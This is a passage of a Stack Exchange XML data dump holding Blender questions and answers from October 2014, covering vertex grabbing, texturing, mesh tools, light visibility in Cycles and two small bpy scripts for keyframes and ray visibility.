Tags="&lt;uv&gt;&lt;snapping&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="17895" PostTypeId="2" ParentId="17894" CreationDate="2014-10-18T03:07:32.230" Score="2" Body="&lt;p&gt;Try using &lt;kbd&gt;G&lt;/kbd&gt; instead.&#xA;By clicking with &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;, you are deselecting everything but the vertex under the cursor, which will then be translated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Translating/grabbing with the mouse is sort of intended as a convenience thing to quickly be able to tweak individual vertices without pressing &lt;kbd&gt;G&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why it can't work for translating a selection of multiple elements is because &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt; is already used primarily for selecting. So clicking will first select the vertex under the cursor, then after moving the cursor 10px with the mouse button held, the grab/translate operator is called. This 10px threshold is configurable in &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; User preferences &gt; Input &gt; Tweak Threshold&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y732g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most places and most of the time you'll want to use &lt;kbd&gt;G&lt;/kbd&gt; for translating/grabbing.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-18T03:07:32.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17896" PostTypeId="1" AcceptedAnswerId="17897" CreationDate="2014-10-18T03:07:49.913" Score="4" ViewCount="614" Body="&lt;p&gt;I'm building a puzzle game and this is the method i'm using to create the puzzle pieces. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create designs in illustrator.&lt;/li&gt;&#xA;&lt;li&gt;Save the design as SVG. Import SVG to blender.&lt;/li&gt;&#xA;&lt;li&gt;Save the model as fbx.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is working well, but i need to have outlines around my puzzle pieces. For example, i need a piece to be black with white outline:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ArWEm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me with this.&lt;/p&gt;&#xA;" OwnerUserId="7542" LastEditorUserId="12" LastEditDate="2014-10-18T04:56:06.743" LastActivityDate="2014-10-18T04:56:06.743" Title="Creating borders for flat models" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17897" PostTypeId="2" ParentId="17896" CreationDate="2014-10-18T03:28:42.087" Score="2" Body="&lt;p&gt;You could try adding a raster image to your model as a texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably the easiest way to add a texture to your model is by dragging and dropping an image from a file manager onto your object in the 3D view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gzbso.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you'll also need to UV unwrap your object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For simple 2D objects extruded along the Z (like the one in the above gif), you can probably get away with looking at your object from the top (&lt;kbd&gt;Numpad 7&lt;/kbd&gt;) in edit mode (&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;), and with everything selected (&lt;kbd&gt;A&lt;/kbd&gt;), pressing &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; Project from view&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more detail, see&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Unwrapping&quot; rel=&quot;nofollow noreferrer&quot;&gt;The wiki on UV unwrapping&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures#Material_Textures&quot; rel=&quot;nofollow noreferrer&quot;&gt;The wiki on texturing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/6755/599&quot;&gt;How to properly unwrap my mesh?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-10-18T03:28:42.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17898" PostTypeId="1" AcceptedAnswerId="17899" CreationDate="2014-10-18T05:44:46.187" Score="12" ViewCount="3481" Body="&lt;p&gt;What's the difference between the push/pull and shrink/fatten tools in the transform menu in edit mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that they both do the same thing, so what's the point of making separate options?&lt;/p&gt;&#xA;" OwnerUserId="7544" LastEditorUserId="7544" LastEditDate="2014-12-27T10:29:00.540" LastActivityDate="2014-12-27T10:29:00.540" Title="Difference between push/pull and shrink/fatten?" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17899" PostTypeId="2" ParentId="17898" CreationDate="2014-10-18T06:30:27.300" Score="14" Body="&lt;p&gt;They don't actually do the same things.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Deforming/Shrink-Fatten&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Shrink/Fatten&lt;/em&gt;&lt;/a&gt; scales the selected elements along their normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KBxRe.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've enabled face normals display in the above gif so that you can see that each face is moving along it's normal (blue lines).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transformations/Advanced/Push_Pull&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Push/Pull&lt;/em&gt;&lt;/a&gt; moves the selected elements farther/closer to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point&quot; rel=&quot;noreferrer&quot;&gt;pivot point&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wk27w.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can see that the faces are not moving along their normals, but instead are moving away from/closer to the pivot point. In this case, the pivot is the median location of the selected elements, which happens to be the world center in this particular example.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-18T06:41:04.837" LastActivityDate="2014-10-18T06:41:04.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17900" PostTypeId="2" ParentId="17885" CreationDate="2014-10-18T06:46:48.510" Score="4" Body="&lt;p&gt;When modelling something you would always add minimal geometry (eg. loop cuts) and work with it &lt;strong&gt;until the shape of the object cannot be further improved with the current geometry!&lt;/strong&gt; This is very important, as if you start adding too much geometry initially, you will get lost and you make your task exponentially harder, because you will have to manually manipulate so much more verts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, in most cases you should avoid subdividing altogether, before you are finished modelling, in a sense. Meaning that with your modelling you would have laid out the optimal topology of the model and would have made sure that every vertex and every face is absolutely necessary for describing the object and maintaining the topology! Only then you would subdivide, to get a smoother result (as your object would be approximated at a higher resolution).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, don't consider the subdivision taboo and absolutely neglect it. Usually it is good practice to check the topology of your mesh, every once in a while, by subdividing it and seeing if it flows and looks natural... this way you can also spot duplicate vertices or holes in the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not a pro modeler and maybe someone could argue this is not always the case, however those are some tips that help me.&lt;/p&gt;&#xA;" OwnerUserId="5341" LastActivityDate="2014-10-18T06:46:48.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17901" PostTypeId="1" AcceptedAnswerId="17925" CreationDate="2014-10-18T06:53:40.503" Score="2" ViewCount="898" Body="&lt;p&gt;&lt;em&gt;I've never really rigged something before (not counting automatic weights ;).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made a simple rig of a landing gear, and I'd like to have a single control bone control the whole unfolding sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made a simple animation mostly showing what I want to bone to do by moving it along the Z axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OUReb.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to setup various transform constraints to rotate the various bones according to the Z location of the control bone, but I must be doing something &#xA;wrong, as they don't work as I expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/32194&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Blendfile&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even a good approach to rigging something like this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-18T15:51:44.917" Title="How to control a short &quot;animation&quot; with a single bone?" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17902" PostTypeId="1" AcceptedAnswerId="18311" CreationDate="2014-10-18T07:50:48.147" Score="7" ViewCount="5612" Body="&lt;p&gt;I understand that the boolean modifier is not available for bezier curves that are 2d and have been extruded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, is there a way to apply a simple &quot;conventional mesh&quot; modifier to this curve and then stack on top of that a boolean modifier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to boolean intersect two 3d object in Blender, these objects are both 2d bezier curves that have been extruded to give them a 3d shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I really need to use non destructive actions on these objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2: I am very surprised there are no modifiers in Blender that simulate &lt;code&gt;alt-c, Mesh from Curve&lt;/code&gt; for these types of purposes.&lt;/p&gt;&#xA;" OwnerUserId="7545" LastEditorUserId="7545" LastEditDate="2014-10-18T07:55:59.430" LastActivityDate="2015-01-05T16:39:35.903" Title="Boolean intersect two 2d extruded bezier curves (non destructive)" Tags="&lt;modifiers&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17903" PostTypeId="2" ParentId="17902" CreationDate="2014-10-18T07:54:43.493" Score="3" Body="&lt;p&gt;Yup, that would be possible however you need to convert the curves to meshes first of all. This you can do by selecting the curve and pressing &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; and selecting &lt;em&gt;Mesh from Curve&lt;/em&gt;. Then you can perform any mesh manipulation tool/modifier that you like.&lt;/p&gt;&#xA;" OwnerUserId="5341" LastEditorUserId="5341" LastEditDate="2014-10-19T21:39:35.437" LastActivityDate="2014-10-19T21:39:35.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17904" PostTypeId="2" ParentId="17866" CreationDate="2014-10-18T09:19:37.297" Score="0" Body="&lt;p&gt;Ok, I've figured it out. Getting to the f-curve properties is a whole different kind of a method than getting to those of its f-modifier(s). Here's a sample of my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;aj = bpy.context.scene.objects.active&#xA;shape_key = aj.data.shape_keys&#xA;kbloks = shape_key.key_blocks.keys()&#xA;bpy.ops.object.duplicate()&#xA;ajDup = bpy.context.scene.objects.active&#xA;&#xA;animParamList = [getattr(aj.data, 'shape_keys', None)] #form a list comprised of ShapeKeys on the active object&#xA;for anim in animParamList:&#xA;    if not anim or not anim.animation_data:&#xA;        continue&#xA;    action = anim.animation_data.action #If there are shapeKeys with f-curves, detect them    &#xA;    if action:&#xA;        #for each f-curve, get the data path, isolate the name, append it to an empty list, enumerate the entire list and isolate only the animated ones' names&#xA;        m = 0&#xA;        for fc in action.fcurves:&#xA;            AnimShps = []&#xA;            animfcrvDP = fc.data_path&#xA;            animfcrvChName=animfcrvDP.split('&quot;')[1]&#xA;            AnimShps.append(animfcrvChName)&#xA;            AnimShpIndL = [i for i, j in enumerate(kbloks) if j == animfcrvChName]&#xA;            AnimShpInd = AnimShpIndL[0]&#xA;            bpy.context.object.active_shape_key_index = AnimShpInd&#xA;&#xA;            ajDup.data.shape_keys.key_blocks[AnimShpInd].keyframe_insert(&quot;value&quot;)&#xA;            AjDuplFcrv = ajDup.data.shape_keys.animation_data.action.fcurves               &#xA;            AjDuplFcrv[m].keyframe_points.add(count=len(fc.keyframe_points)-1)&#xA;&#xA;            k=0&#xA;            for key in AjDuplFcrv[m].keyframe_points: #get all the pertinent properties from the fcurves on the master object, iterate through and pass them onto their counterparts on the other object&#xA;                key.co = fc.keyframe_points[k].co&#xA;                key.interpolation = fc.keyframe_points[k].interpolation&#xA;                key.handle_left = fc.keyframe_points[k].handle_left&#xA;                key.handle_left_type = fc.keyframe_points[k].handle_left_type&#xA;                key.handle_right = fc.keyframe_points[k].handle_right&#xA;                key.handle_right_type = fc.keyframe_points[k].handle_right_type&#xA;                k+=1                &#xA;        m+=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7530" LastActivityDate="2014-10-18T09:19:37.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17905" PostTypeId="1" AcceptedAnswerId="17911" CreationDate="2014-10-18T09:25:35.823" Score="2" ViewCount="6315" Body="&lt;p&gt;In the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.72/Feature_Videos&quot; rel=&quot;nofollow noreferrer&quot;&gt;feature video&lt;/a&gt; of version 2.72 the mesh intersection tool is introduced. Which tool is used to bend the scaled and loop-cut cube here? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I4RoS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4vVvp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2018-02-14T00:51:25.607" Title="Which tool allows bending a mesh?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;geometry&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17906" PostTypeId="2" ParentId="17885" CreationDate="2014-10-18T09:36:43.543" Score="2" Body="&lt;p&gt;It depends, like architectural buildings and that kind of not so curving objects, no problem to use ngons and triangles, ngons help a lot when modeling those building. Flat shading is the key when rendering those objects. &#xA;Example: left side object has flat shadind and 24 vertices, including ngons, right side has smooth shading and 156 vertices, no ngons. When rendering  they looks identical.&#xA;People use many times smooth shading and add unnecessary loopcuts to objects what does not need smooth shading, its a habbit.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QlXSU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7474" LastActivityDate="2014-10-18T09:36:43.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17907" PostTypeId="1" AcceptedAnswerId="17934" CreationDate="2014-10-18T09:53:30.173" Score="7" ViewCount="1335" Body="&lt;p&gt;If someone knows a good shader setup for pez candy in cycles I would be happy if he/she would share it with me. Here is a reference image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ps: I dont want just multi-colored Candy i want to have that grain and the overall look that Pez Candy has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dKTEr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="5980" LastEditDate="2014-10-18T20:58:17.253" LastActivityDate="2014-10-18T20:58:17.253" Title="Making a multi-colored candy material in Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17908" PostTypeId="2" ParentId="17885" CreationDate="2014-10-18T10:09:39.777" Score="3" Body="&lt;p&gt;Subdivision is OK when you &lt;strong&gt;need&lt;/strong&gt; the geometry some examples could be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Landscapes&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1s5y0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Particle Systems (here used to emit buildings)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NdiD6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In general loop-cuts should be the way to go, they allow later refinement because they follow the mesh's topology (most important in organic modelling).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a subdivided mesh you would have to adjust each and every vertex, instead of selecting a loop as shown here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SF2Ur.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-18T10:09:39.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17909" PostTypeId="1" CreationDate="2014-10-18T10:12:33.107" Score="3" ViewCount="5956" Body="&lt;p&gt;Is it somehow possible to pin vertices in soft body simulation as it is possible to do it in cloth simulation? I have an object that I applied soft body simulation to, however, the settings cause it to fall down from the scene. I tried to use cloth with pinning, but the cloth seems to be too &quot;soft&quot; even if I applied &quot;mega hard rubber&quot; settings to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2014-10-18T19:37:24.470" Title="soft body pinning" Tags="&lt;cloth-simulation&gt;&lt;soft-body&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17910" PostTypeId="1" AcceptedAnswerId="17918" CreationDate="2014-10-18T10:56:54.127" Score="38" ViewCount="50279" Body="&lt;p&gt;In my scene it is required to position &lt;strong&gt;the lights close to the main object&lt;/strong&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SfPOw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I can make the &lt;strong&gt;light source invisible to the camera&lt;/strong&gt;? &lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2014-10-19T11:16:24.713" LastActivityDate="2019-08-21T13:28:07.703" Title="How to make a cycles light emisson object invisible to the camera?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;camera&gt;&lt;light&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="17911" PostTypeId="2" ParentId="17905" CreationDate="2014-10-18T11:03:29.340" Score="2" Body="&lt;p&gt;It is the Bend Tool, &lt;code&gt;Mesh -&amp;gt; Transform -&amp;gt; Bend&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shortcut &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;W&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is documented as operator in the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.ops.transform.html?highlight=bpy.ops.transform.bend#bpy.ops.transform.bend&quot; rel=&quot;nofollow noreferrer&quot;&gt;API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bend selected items between the 3D cursor and the mouse&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mnNrn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Warp function that used to be on Shift W is from 2.70 replaced by the Bend tool. The Warp Tool is still there, but you have to search for it. In the feature video you can actually hear the commenter telling he is using the Bend Tool.&lt;/p&gt;&#xA;" OwnerUserId="1374" LastEditorUserId="55" LastEditDate="2014-10-18T16:50:14.033" LastActivityDate="2014-10-18T16:50:14.033" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17912" PostTypeId="2" ParentId="17907" CreationDate="2014-10-18T11:07:18.047" Score="1" Body="&lt;p&gt;Not very convincing, but as a starting point something like this could work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EpknR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ErOgg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/32197&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo .blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-18T11:07:18.047" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17913" PostTypeId="2" ParentId="17910" CreationDate="2014-10-18T11:07:19.030" Score="20" Body="&lt;p&gt;You can setup the &lt;strong&gt;emission material&lt;/strong&gt; in cylcles like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZaXbl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; @gandalf3 mentioned that &lt;em&gt;disabling visibility&lt;/em&gt; is slightly more efficient performance wise than this node setup.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-12-03T13:30:22.767" LastActivityDate="2015-12-03T13:30:22.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17915" PostTypeId="1" CreationDate="2014-10-18T11:41:53.537" Score="1" ViewCount="130" Body="&lt;p&gt;Some of my scene objects need a little bit of &lt;strong&gt;extra lighting&lt;/strong&gt;, but it would be nice to &lt;strong&gt;exclude the my reflective ground&lt;/strong&gt; from that (see the picture bellow). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NKZVX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there an option in cycles to don't effect objects or exclude objects from lights?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2014-10-18T13:20:50.163" Title="How to exclude objects from light sources in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2014-10-18T13:48:57.037" ContentLicense="CC BY-SA 3.0" />
  <row Id="17916" PostTypeId="2" ParentId="983" CreationDate="2014-10-18T11:48:01.320" Score="1" Body="&lt;p&gt;This is unfortunately not yet possible in Cycles; It is, however, in the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/ToDo&quot; rel=&quot;nofollow&quot;&gt;To Do list&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be done rather easily in Blender Internal, though;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-10-18T11:48:01.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17917" PostTypeId="1" CreationDate="2014-10-18T12:44:15.540" Score="2" ViewCount="2351" Body="&lt;p&gt;I am trying to model a tree. I turned on the &lt;em&gt;Add a sapling&lt;/em&gt; add-on in user preferences, however once I want to begin editing the settings, they come up but is grey and doesn't let me click on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EJSEx.png&quot; alt=&quot;add sapling operator problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also attached my blend file here: &lt;a href=&quot;http://www.pasteall.org/blend/32199&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/32199&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5420" LastEditorDisplayName="user1853" LastEditDate="2017-10-09T05:36:08.880" LastActivityDate="2020-09-03T19:39:56.273" Title="Options for object creation are greyed out" Tags="&lt;interface&gt;&lt;add-on&gt;&lt;sapling-addon&gt;" AnswerCount="2" CommentCount="10" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17918" PostTypeId="2" ParentId="17910" CreationDate="2014-10-18T12:50:11.897" Score="56" Body="&lt;p&gt;In the object properties, you can &lt;strong&gt;turn off&lt;/strong&gt; &lt;em&gt;Ray Visibility&lt;/em&gt; of the 'emission object' for the camera:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dXtKM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As of &lt;strong&gt;Blender 2.76&lt;/strong&gt; the &lt;em&gt;Ray Visibility&lt;/em&gt; panel was renamed to &lt;em&gt;Cycles Settings&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RvvsC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RvvsC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As of &lt;strong&gt;Blender 2.8x&lt;/strong&gt;, &lt;em&gt;Ray Visibility&lt;/em&gt; panel is now part of the new &lt;em&gt;Visibility Panel&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9nr7Y.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9nr7Y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can also run this script to &lt;em&gt;toggle&lt;/em&gt; the &lt;em&gt;Camera Ray Visibility&lt;/em&gt; for &lt;em&gt;selected objects&lt;/em&gt; (updated for 2.8x):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for obj in bpy.context.selected_objects:&#xA;&#xA;    # toggle mesh lights&#xA;    if obj.type == 'MESH':&#xA;        for slot in obj.material_slots:&#xA;            if slot.material:&#xA;                for node in slot.material.node_tree.nodes:&#xA;                    if node.type == &quot;EMISSION&quot;:&#xA;                        obj.cycles_visibility.camera = not obj.cycles_visibility.camera&#xA;&#xA;    # toggle light types&#xA;    if obj.type == 'LIGHT':&#xA;        obj.cycles_visibility.camera = not obj.cycles_visibility.camera&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="668" LastEditorUserId="3710" LastEditDate="2019-08-21T13:28:07.703" LastActivityDate="2019-08-21T13:28:07.703" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
